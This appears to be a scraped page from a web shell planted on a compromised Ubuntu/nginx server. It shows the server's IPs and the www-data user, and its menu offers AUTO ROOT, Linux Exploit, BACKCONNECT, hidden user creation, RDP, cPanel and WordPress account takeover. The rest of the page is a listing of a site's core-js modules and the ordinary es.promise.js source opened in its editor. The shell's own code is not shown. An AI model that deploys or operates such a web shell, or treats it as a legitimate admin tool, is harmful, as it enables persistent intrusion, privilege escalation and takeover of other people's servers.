Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amatya /
node_modules /
core-js /
modules /
[ HOME SHELL ]
Name
Size
Permission
Action
README.md
164
B
-rw-r--r--
es.array-buffer.constructor.js
458
B
-rw-r--r--
es.array-buffer.is-view.js
392
B
-rw-r--r--
es.array-buffer.slice.js
1.44
KB
-rw-r--r--
es.array.concat.js
1.97
KB
-rw-r--r--
es.array.copy-within.js
360
B
-rw-r--r--
es.array.every.js
457
B
-rw-r--r--
es.array.fill.js
327
B
-rw-r--r--
es.array.filter.js
518
B
-rw-r--r--
es.array.find-index.js
735
B
-rw-r--r--
es.array.find.js
676
B
-rw-r--r--
es.array.flat-map.js
757
B
-rw-r--r--
es.array.flat.js
760
B
-rw-r--r--
es.array.for-each.js
287
B
-rw-r--r--
es.array.from.js
348
B
-rw-r--r--
es.array.includes.js
532
B
-rw-r--r--
es.array.index-of.js
702
B
-rw-r--r--
es.array.is-array.js
191
B
-rw-r--r--
es.array.iterator.js
2.16
KB
-rw-r--r--
es.array.join.js
588
B
-rw-r--r--
es.array.last-index-of.js
324
B
-rw-r--r--
es.array.map.js
497
B
-rw-r--r--
es.array.of.js
740
B
-rw-r--r--
es.array.reduce-right.js
524
B
-rw-r--r--
es.array.reduce.js
490
B
-rw-r--r--
es.array.reverse.js
533
B
-rw-r--r--
es.array.slice.js
1.83
KB
-rw-r--r--
es.array.some.js
450
B
-rw-r--r--
es.array.sort.js
876
B
-rw-r--r--
es.array.species.js
134
B
-rw-r--r--
es.array.splice.js
2.5
KB
-rw-r--r--
es.array.unscopables.flat-map....
174
B
-rw-r--r--
es.array.unscopables.flat.js
171
B
-rw-r--r--
es.data-view.js
324
B
-rw-r--r--
es.date.now.js
199
B
-rw-r--r--
es.date.to-iso-string.js
372
B
-rw-r--r--
es.date.to-json.js
705
B
-rw-r--r--
es.date.to-primitive.js
420
B
-rw-r--r--
es.date.to-string.js
579
B
-rw-r--r--
es.function.bind.js
219
B
-rw-r--r--
es.function.has-instance.js
893
B
-rw-r--r--
es.function.name.js
679
B
-rw-r--r--
es.json.to-string-tag.js
184
B
-rw-r--r--
es.map.js
311
B
-rw-r--r--
es.math.acosh.js
692
B
-rw-r--r--
es.math.asinh.js
433
B
-rw-r--r--
es.math.atanh.js
376
B
-rw-r--r--
es.math.cbrt.js
304
B
-rw-r--r--
es.math.clz32.js
307
B
-rw-r--r--
es.math.cosh.js
416
B
-rw-r--r--
es.math.expm1.js
277
B
-rw-r--r--
es.math.fround.js
188
B
-rw-r--r--
es.math.hypot.js
702
B
-rw-r--r--
es.math.imul.js
623
B
-rw-r--r--
es.math.log10.js
250
B
-rw-r--r--
es.math.log1p.js
184
B
-rw-r--r--
es.math.log2.js
237
B
-rw-r--r--
es.math.sign.js
180
B
-rw-r--r--
es.math.sinh.js
549
B
-rw-r--r--
es.math.tanh.js
372
B
-rw-r--r--
es.math.to-string-tag.js
153
B
-rw-r--r--
es.math.trunc.js
263
B
-rw-r--r--
es.number.constructor.js
3.44
KB
-rw-r--r--
es.number.epsilon.js
180
B
-rw-r--r--
es.number.is-finite.js
207
B
-rw-r--r--
es.number.is-integer.js
204
B
-rw-r--r--
es.number.is-nan.js
263
B
-rw-r--r--
es.number.is-safe-integer.js
356
B
-rw-r--r--
es.number.max-safe-integer.js
207
B
-rw-r--r--
es.number.min-safe-integer.js
208
B
-rw-r--r--
es.number.parse-float.js
279
B
-rw-r--r--
es.number.parse-int.js
263
B
-rw-r--r--
es.number.to-fixed.js
2.81
KB
-rw-r--r--
es.number.to-precision.js
730
B
-rw-r--r--
es.object.assign.js
252
B
-rw-r--r--
es.object.create.js
242
B
-rw-r--r--
es.object.define-getter.js
710
B
-rw-r--r--
es.object.define-properties.js
337
B
-rw-r--r--
es.object.define-property.js
331
B
-rw-r--r--
es.object.define-setter.js
710
B
-rw-r--r--
es.object.entries.js
286
B
-rw-r--r--
es.object.freeze.js
599
B
-rw-r--r--
es.object.from-entries.js
452
B
-rw-r--r--
es.object.get-own-property-des...
747
B
-rw-r--r--
es.object.get-own-property-des...
1005
B
-rw-r--r--
es.object.get-own-property-nam...
458
B
-rw-r--r--
es.object.get-prototype-of.js
637
B
-rw-r--r--
es.object.is-extensible.js
519
B
-rw-r--r--
es.object.is-frozen.js
483
B
-rw-r--r--
es.object.is-sealed.js
483
B
-rw-r--r--
es.object.is.js
181
B
-rw-r--r--
es.object.keys.js
438
B
-rw-r--r--
es.object.lookup-getter.js
883
B
-rw-r--r--
es.object.lookup-setter.js
883
B
-rw-r--r--
es.object.prevent-extensions.j...
698
B
-rw-r--r--
es.object.seal.js
581
B
-rw-r--r--
es.object.set-prototype-of.js
232
B
-rw-r--r--
es.object.to-string.js
341
B
-rw-r--r--
es.object.values.js
276
B
-rw-r--r--
es.parse-float.js
291
B
-rw-r--r--
es.parse-int.js
281
B
-rw-r--r--
es.promise.finally.js
839
B
-rw-r--r--
es.promise.js
11.84
KB
-rw-r--r--
es.reflect.apply.js
829
B
-rw-r--r--
es.reflect.construct.js
2.09
KB
-rw-r--r--
es.reflect.define-property.js
1.04
KB
-rw-r--r--
es.reflect.delete-property.js
548
B
-rw-r--r--
es.reflect.get-own-property-de...
577
B
-rw-r--r--
es.reflect.get-prototype-of.js
517
B
-rw-r--r--
es.reflect.get.js
995
B
-rw-r--r--
es.reflect.has.js
228
B
-rw-r--r--
es.reflect.is-extensible.js
403
B
-rw-r--r--
es.reflect.own-keys.js
197
B
-rw-r--r--
es.reflect.prevent-extensions....
655
B
-rw-r--r--
es.reflect.set-prototype-of.js
606
B
-rw-r--r--
es.reflect.set.js
1.66
KB
-rw-r--r--
es.regexp.constructor.js
2.49
KB
-rw-r--r--
es.regexp.exec.js
194
B
-rw-r--r--
es.regexp.flags.js
323
B
-rw-r--r--
es.regexp.to-string.js
899
B
-rw-r--r--
es.set.js
305
B
-rw-r--r--
es.string.anchor.js
416
B
-rw-r--r--
es.string.big.js
393
B
-rw-r--r--
es.string.blink.js
405
B
-rw-r--r--
es.string.bold.js
396
B
-rw-r--r--
es.string.code-point-at.js
347
B
-rw-r--r--
es.string.ends-with.js
1.01
KB
-rw-r--r--
es.string.fixed.js
402
B
-rw-r--r--
es.string.fontcolor.js
437
B
-rw-r--r--
es.string.fontsize.js
429
B
-rw-r--r--
es.string.from-code-point.js
987
B
-rw-r--r--
es.string.includes.js
635
B
-rw-r--r--
es.string.italics.js
411
B
-rw-r--r--
es.string.iterator.js
1.03
KB
-rw-r--r--
es.string.link.js
404
B
-rw-r--r--
es.string.match.js
1.61
KB
-rw-r--r--
es.string.pad-end.js
501
B
-rw-r--r--
es.string.pad-start.js
508
B
-rw-r--r--
es.string.raw.js
668
B
-rw-r--r--
es.string.repeat.js
219
B
-rw-r--r--
es.string.replace.js
4.96
KB
-rw-r--r--
es.string.search.js
1.39
KB
-rw-r--r--
es.string.small.js
405
B
-rw-r--r--
es.string.split.js
5.49
KB
-rw-r--r--
es.string.starts-with.js
943
B
-rw-r--r--
es.string.strike.js
411
B
-rw-r--r--
es.string.sub.js
393
B
-rw-r--r--
es.string.sup.js
393
B
-rw-r--r--
es.string.trim-end.js
494
B
-rw-r--r--
es.string.trim-start.js
508
B
-rw-r--r--
es.string.trim.js
402
B
-rw-r--r--
es.symbol.async-iterator.js
171
B
-rw-r--r--
es.symbol.description.js
2.04
KB
-rw-r--r--
es.symbol.has-instance.js
165
B
-rw-r--r--
es.symbol.is-concat-spreadable...
186
B
-rw-r--r--
es.symbol.iterator.js
156
B
-rw-r--r--
es.symbol.js
11.47
KB
-rw-r--r--
es.symbol.match.js
147
B
-rw-r--r--
es.symbol.replace.js
153
B
-rw-r--r--
es.symbol.search.js
150
B
-rw-r--r--
es.symbol.species.js
153
B
-rw-r--r--
es.symbol.split.js
147
B
-rw-r--r--
es.symbol.to-primitive.js
165
B
-rw-r--r--
es.symbol.to-string-tag.js
165
B
-rw-r--r--
es.symbol.unscopables.js
165
B
-rw-r--r--
es.typed-array.copy-within.js
537
B
-rw-r--r--
es.typed-array.every.js
499
B
-rw-r--r--
es.typed-array.fill.js
484
B
-rw-r--r--
es.typed-array.filter.js
880
B
-rw-r--r--
es.typed-array.find-index.js
521
B
-rw-r--r--
es.typed-array.find.js
491
B
-rw-r--r--
es.typed-array.float32-array.j...
285
B
-rw-r--r--
es.typed-array.float64-array.j...
285
B
-rw-r--r--
es.typed-array.for-each.js
504
B
-rw-r--r--
es.typed-array.from.js
461
B
-rw-r--r--
es.typed-array.includes.js
529
B
-rw-r--r--
es.typed-array.index-of.js
524
B
-rw-r--r--
es.typed-array.int16-array.js
279
B
-rw-r--r--
es.typed-array.int32-array.js
279
B
-rw-r--r--
es.typed-array.int8-array.js
276
B
-rw-r--r--
es.typed-array.iterator.js
1.54
KB
-rw-r--r--
es.typed-array.join.js
442
B
-rw-r--r--
es.typed-array.last-index-of.j...
542
B
-rw-r--r--
es.typed-array.map.js
758
B
-rw-r--r--
es.typed-array.of.js
669
B
-rw-r--r--
es.typed-array.reduce-right.js
513
B
-rw-r--r--
es.typed-array.reduce.js
478
B
-rw-r--r--
es.typed-array.reverse.js
581
B
-rw-r--r--
es.typed-array.set.js
913
B
-rw-r--r--
es.typed-array.slice.js
919
B
-rw-r--r--
es.typed-array.some.js
493
B
-rw-r--r--
es.typed-array.sort.js
398
B
-rw-r--r--
es.typed-array.subarray.js
837
B
-rw-r--r--
es.typed-array.to-locale-strin...
975
B
-rw-r--r--
es.typed-array.to-string.js
658
B
-rw-r--r--
es.typed-array.uint16-array.js
282
B
-rw-r--r--
es.typed-array.uint32-array.js
282
B
-rw-r--r--
es.typed-array.uint8-array.js
279
B
-rw-r--r--
es.typed-array.uint8-clamped-a...
299
B
-rw-r--r--
es.weak-map.js
2.7
KB
-rw-r--r--
es.weak-set.js
319
B
-rw-r--r--
esnext.aggregate-error.js
1.01
KB
-rw-r--r--
esnext.array.last-index.js
656
B
-rw-r--r--
esnext.array.last-item.js
822
B
-rw-r--r--
esnext.composite-key.js
569
B
-rw-r--r--
esnext.composite-symbol.js
510
B
-rw-r--r--
esnext.global-this.js
164
B
-rw-r--r--
esnext.map.delete-all.js
415
B
-rw-r--r--
esnext.map.every.js
784
B
-rw-r--r--
esnext.map.filter.js
1.1
KB
-rw-r--r--
esnext.map.find-key.js
785
B
-rw-r--r--
esnext.map.find.js
782
B
-rw-r--r--
esnext.map.from.js
200
B
-rw-r--r--
esnext.map.group-by.js
785
B
-rw-r--r--
esnext.map.includes.js
673
B
-rw-r--r--
esnext.map.key-by.js
584
B
-rw-r--r--
esnext.map.key-of.js
608
B
-rw-r--r--
esnext.map.map-keys.js
1.08
KB
-rw-r--r--
esnext.map.map-values.js
1.08
KB
-rw-r--r--
esnext.map.merge.js
665
B
-rw-r--r--
esnext.map.of.js
192
B
-rw-r--r--
esnext.map.reduce.js
980
B
-rw-r--r--
esnext.map.some.js
780
B
-rw-r--r--
esnext.map.update.js
731
B
-rw-r--r--
esnext.math.clamp.js
274
B
-rw-r--r--
esnext.math.deg-per-rad.js
183
B
-rw-r--r--
esnext.math.degrees.js
261
B
-rw-r--r--
esnext.math.fscale.js
376
B
-rw-r--r--
esnext.math.iaddh.js
361
B
-rw-r--r--
esnext.math.imulh.js
466
B
-rw-r--r--
esnext.math.isubh.js
360
B
-rw-r--r--
esnext.math.rad-per-deg.js
183
B
-rw-r--r--
esnext.math.radians.js
261
B
-rw-r--r--
esnext.math.scale.js
190
B
-rw-r--r--
esnext.math.seeded-prng.js
1.43
KB
-rw-r--r--
esnext.math.signbit.js
287
B
-rw-r--r--
esnext.math.umulh.js
470
B
-rw-r--r--
esnext.number.from-string.js
1.08
KB
-rw-r--r--
esnext.observable.js
6.66
KB
-rw-r--r--
esnext.promise.all-settled.js
1.35
KB
-rw-r--r--
esnext.promise.any.js
1.51
KB
-rw-r--r--
esnext.promise.try.js
553
B
-rw-r--r--
esnext.reflect.define-metadata...
658
B
-rw-r--r--
esnext.reflect.delete-metadata...
951
B
-rw-r--r--
esnext.reflect.get-metadata-ke...
1.15
KB
-rw-r--r--
esnext.reflect.get-metadata.js
1.02
KB
-rw-r--r--
esnext.reflect.get-own-metadat...
618
B
-rw-r--r--
esnext.reflect.get-own-metadat...
629
B
-rw-r--r--
esnext.reflect.has-metadata.js
947
B
-rw-r--r--
esnext.reflect.has-own-metadat...
629
B
-rw-r--r--
esnext.reflect.metadata.js
593
B
-rw-r--r--
esnext.set.add-all.js
395
B
-rw-r--r--
esnext.set.delete-all.js
413
B
-rw-r--r--
esnext.set.difference.js
798
B
-rw-r--r--
esnext.set.every.js
765
B
-rw-r--r--
esnext.set.filter.js
1.05
KB
-rw-r--r--
esnext.set.find.js
748
B
-rw-r--r--
esnext.set.from.js
200
B
-rw-r--r--
esnext.set.intersection.js
861
B
-rw-r--r--
esnext.set.is-disjoint-from.js
684
B
-rw-r--r--
esnext.set.is-subset-of.js
991
B
-rw-r--r--
esnext.set.is-superset-of.js
677
B
-rw-r--r--
esnext.set.join.js
642
B
-rw-r--r--
esnext.set.map.js
1.03
KB
-rw-r--r--
esnext.set.of.js
192
B
-rw-r--r--
esnext.set.reduce.js
958
B
-rw-r--r--
esnext.set.some.js
761
B
-rw-r--r--
esnext.set.symmetric-differenc...
893
B
-rw-r--r--
esnext.set.union.js
706
B
-rw-r--r--
esnext.string.at.js
298
B
-rw-r--r--
esnext.string.code-points.js
1.3
KB
-rw-r--r--
esnext.string.match-all.js
3.36
KB
-rw-r--r--
esnext.string.replace-all.js
939
B
-rw-r--r--
esnext.symbol.dispose.js
156
B
-rw-r--r--
esnext.symbol.observable.js
111
B
-rw-r--r--
esnext.symbol.pattern-match.js
162
B
-rw-r--r--
esnext.weak-map.delete-all.js
423
B
-rw-r--r--
esnext.weak-map.from.js
212
B
-rw-r--r--
esnext.weak-map.of.js
204
B
-rw-r--r--
esnext.weak-set.add-all.js
426
B
-rw-r--r--
esnext.weak-set.delete-all.js
444
B
-rw-r--r--
esnext.weak-set.from.js
212
B
-rw-r--r--
esnext.weak-set.of.js
204
B
-rw-r--r--
web.dom-collections.for-each.j...
619
B
-rw-r--r--
web.dom-collections.iterator.j...
1.4
KB
-rw-r--r--
web.immediate.js
304
B
-rw-r--r--
web.queue-microtask.js
528
B
-rw-r--r--
web.timers.js
766
B
-rw-r--r--
web.url-search-params.js
9.61
KB
-rw-r--r--
web.url.js
31.56
KB
-rw-r--r--
web.url.to-json.js
261
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : es.promise.js
'use strict'; var PROMISE = 'Promise'; var IS_PURE = require('../internals/is-pure'); var global = require('../internals/global'); var $export = require('../internals/export'); var isObject = require('../internals/is-object'); var aFunction = require('../internals/a-function'); var anInstance = require('../internals/an-instance'); var classof = require('../internals/classof-raw'); var iterate = require('../internals/iterate'); var checkCorrectnessOfIteration = require('../internals/check-correctness-of-iteration'); var speciesConstructor = require('../internals/species-constructor'); var task = require('../internals/task').set; var microtask = require('../internals/microtask'); var promiseResolve = require('../internals/promise-resolve'); var hostReportErrors = require('../internals/host-report-errors'); var newPromiseCapabilityModule = require('../internals/new-promise-capability'); var perform = require('../internals/perform'); var userAgent = require('../internals/user-agent'); var SPECIES = require('../internals/well-known-symbol')('species'); var InternalStateModule = require('../internals/internal-state'); var isForced = require('../internals/is-forced'); var getInternalState = InternalStateModule.get; var setInternalState = InternalStateModule.set; var getInternalPromiseState = InternalStateModule.getterFor(PROMISE); var PromiseConstructor = global[PROMISE]; var TypeError = global.TypeError; var document = global.document; var process = global.process; var $fetch = global.fetch; var versions = process && process.versions; var v8 = versions && versions.v8 || ''; var newPromiseCapability = newPromiseCapabilityModule.f; var newGenericPromiseCapability = newPromiseCapability; var IS_NODE = classof(process) == 'process'; var DISPATCH_EVENT = !!(document && document.createEvent && global.dispatchEvent); var UNHANDLED_REJECTION = 'unhandledrejection'; var REJECTION_HANDLED = 'rejectionhandled'; var PENDING = 0; var FULFILLED = 1; var REJECTED = 2; var HANDLED = 1; var UNHANDLED = 2; var Internal, OwnPromiseCapability, PromiseWrapper; var FORCED = isForced(PROMISE, function () { // correct subclassing with @@species support var promise = PromiseConstructor.resolve(1); var empty = function () { /* empty */ }; var FakePromise = (promise.constructor = {})[SPECIES] = function (exec) { exec(empty, empty); }; // unhandled rejections tracking support, NodeJS Promise without it fails @@species test return !((IS_NODE || typeof PromiseRejectionEvent == 'function') && (!IS_PURE || promise['finally']) && promise.then(empty) instanceof FakePromise // v8 6.6 (Node 10 and Chrome 66) have a bug with resolving custom thenables // https://bugs.chromium.org/p/chromium/issues/detail?id=830565 // we can't detect it synchronously, so just check versions && v8.indexOf('6.6') !== 0 && userAgent.indexOf('Chrome/66') === -1); }); var INCORRECT_ITERATION = FORCED || !checkCorrectnessOfIteration(function (iterable) { PromiseConstructor.all(iterable)['catch'](function () { /* empty */ }); }); // helpers var isThenable = function (it) { var then; return isObject(it) && typeof (then = it.then) == 'function' ? then : false; }; var notify = function (promise, state, isReject) { if (state.notified) return; state.notified = true; var chain = state.reactions; microtask(function () { var value = state.value; var ok = state.state == FULFILLED; var i = 0; var run = function (reaction) { var handler = ok ? reaction.ok : reaction.fail; var resolve = reaction.resolve; var reject = reaction.reject; var domain = reaction.domain; var result, then, exited; try { if (handler) { if (!ok) { if (state.rejection === UNHANDLED) onHandleUnhandled(promise, state); state.rejection = HANDLED; } if (handler === true) result = value; else { if (domain) domain.enter(); result = handler(value); // may throw if (domain) { domain.exit(); exited = true; } } if (result === reaction.promise) { reject(TypeError('Promise-chain cycle')); } else if (then = isThenable(result)) { then.call(result, resolve, reject); } else resolve(result); } else reject(value); } catch (error) { if (domain && !exited) domain.exit(); reject(error); } }; while (chain.length > i) run(chain[i++]); // variable length - can't use forEach state.reactions = []; state.notified = false; if (isReject && !state.rejection) onUnhandled(promise, state); }); }; var dispatchEvent = function (name, promise, reason) { var event, handler; if (DISPATCH_EVENT) { event = document.createEvent('Event'); event.promise = promise; event.reason = reason; event.initEvent(name, false, true); global.dispatchEvent(event); } else event = { promise: promise, reason: reason }; if (handler = global['on' + name]) handler(event); else if (name === UNHANDLED_REJECTION) hostReportErrors('Unhandled promise rejection', reason); }; var onUnhandled = function (promise, state) { task.call(global, function () { var value = state.value; var IS_UNHANDLED = isUnhandled(state); var result; if (IS_UNHANDLED) { result = perform(function () { if (IS_NODE) { process.emit('unhandledRejection', value, promise); } else dispatchEvent(UNHANDLED_REJECTION, promise, value); }); // Browsers should not trigger `rejectionHandled` event if it was handled here, NodeJS - should state.rejection = IS_NODE || isUnhandled(state) ? UNHANDLED : HANDLED; if (result.error) throw result.value; } }); }; var isUnhandled = function (state) { return state.rejection !== HANDLED && !state.parent; }; var onHandleUnhandled = function (promise, state) { task.call(global, function () { if (IS_NODE) { process.emit('rejectionHandled', promise); } else dispatchEvent(REJECTION_HANDLED, promise, state.value); }); }; var bind = function (fn, promise, state, unwrap) { return function (value) { fn(promise, state, value, unwrap); }; }; var internalReject = function (promise, state, value, unwrap) { if (state.done) return; state.done = true; if (unwrap) state = unwrap; state.value = value; state.state = REJECTED; notify(promise, state, true); }; var internalResolve = function (promise, state, value, unwrap) { if (state.done) return; state.done = true; if (unwrap) state = unwrap; try { if (promise === value) throw TypeError("Promise can't be resolved itself"); var then = isThenable(value); if (then) { microtask(function () { var wrapper = { done: false }; try { then.call(value, bind(internalResolve, promise, wrapper, state), bind(internalReject, promise, wrapper, state) ); } catch (error) { internalReject(promise, wrapper, error, state); } }); } else { state.value = value; state.state = FULFILLED; notify(promise, state, false); } } catch (error) { internalReject(promise, { done: false }, error, state); } }; // constructor polyfill if (FORCED) { // 25.4.3.1 Promise(executor) PromiseConstructor = function Promise(executor) { anInstance(this, PromiseConstructor, PROMISE); aFunction(executor); Internal.call(this); var state = getInternalState(this); try { executor(bind(internalResolve, this, state), bind(internalReject, this, state)); } catch (error) { internalReject(this, state, error); } }; // eslint-disable-next-line no-unused-vars Internal = function Promise(executor) { setInternalState(this, { type: PROMISE, done: false, notified: false, parent: false, reactions: [], rejection: false, state: PENDING, value: undefined }); }; Internal.prototype = require('../internals/redefine-all')(PromiseConstructor.prototype, { // `Promise.prototype.then` method // https://tc39.github.io/ecma262/#sec-promise.prototype.then then: function then(onFulfilled, onRejected) { var state = getInternalPromiseState(this); var reaction = newPromiseCapability(speciesConstructor(this, PromiseConstructor)); reaction.ok = typeof onFulfilled == 'function' ? onFulfilled : true; reaction.fail = typeof onRejected == 'function' && onRejected; reaction.domain = IS_NODE ? process.domain : undefined; state.parent = true; state.reactions.push(reaction); if (state.state != PENDING) notify(this, state, false); return reaction.promise; }, // `Promise.prototype.catch` method // https://tc39.github.io/ecma262/#sec-promise.prototype.catch 'catch': function (onRejected) { return this.then(undefined, onRejected); } }); OwnPromiseCapability = function () { var promise = new Internal(); var state = getInternalState(promise); this.promise = promise; this.resolve = bind(internalResolve, promise, state); this.reject = bind(internalReject, promise, state); }; newPromiseCapabilityModule.f = newPromiseCapability = function (C) { return C === PromiseConstructor || C === PromiseWrapper ? new OwnPromiseCapability(C) : newGenericPromiseCapability(C); }; // wrap fetch result if (!IS_PURE && typeof $fetch == 'function') $export({ global: true, enumerable: true, forced: true }, { // eslint-disable-next-line no-unused-vars fetch: function fetch(input) { return promiseResolve(PromiseConstructor, $fetch.apply(global, arguments)); } }); } $export({ global: true, wrap: true, forced: FORCED }, { Promise: PromiseConstructor }); require('../internals/set-to-string-tag')(PromiseConstructor, PROMISE, false, true); require('../internals/set-species')(PROMISE); PromiseWrapper = require('../internals/path')[PROMISE]; // statics $export({ target: PROMISE, stat: true, forced: FORCED }, { // `Promise.reject` method // https://tc39.github.io/ecma262/#sec-promise.reject reject: function reject(r) { var capability = newPromiseCapability(this); capability.reject.call(undefined, r); return capability.promise; } }); $export({ target: PROMISE, stat: true, forced: IS_PURE || FORCED }, { // `Promise.resolve` method // https://tc39.github.io/ecma262/#sec-promise.resolve resolve: function resolve(x) { return promiseResolve(IS_PURE && this === PromiseWrapper ? PromiseConstructor : this, x); } }); $export({ target: PROMISE, stat: true, forced: INCORRECT_ITERATION }, { // `Promise.all` method // https://tc39.github.io/ecma262/#sec-promise.all all: function all(iterable) { var C = this; var capability = newPromiseCapability(C); var resolve = capability.resolve; var reject = capability.reject; var result = perform(function () { var values = []; var counter = 0; var remaining = 1; iterate(iterable, function (promise) { var index = counter++; var alreadyCalled = false; values.push(undefined); remaining++; C.resolve(promise).then(function (value) { if (alreadyCalled) return; alreadyCalled = true; values[index] = value; --remaining || resolve(values); }, reject); }); --remaining || resolve(values); }); if (result.error) reject(result.value); return capability.promise; }, // `Promise.race` method // https://tc39.github.io/ecma262/#sec-promise.race race: function race(iterable) { var C = this; var capability = newPromiseCapability(C); var reject = capability.reject; var result = perform(function () { iterate(iterable, function (promise) { C.resolve(promise).then(capability.resolve, reject); }); }); if (result.error) reject(result.value); return capability.promise; } });
Close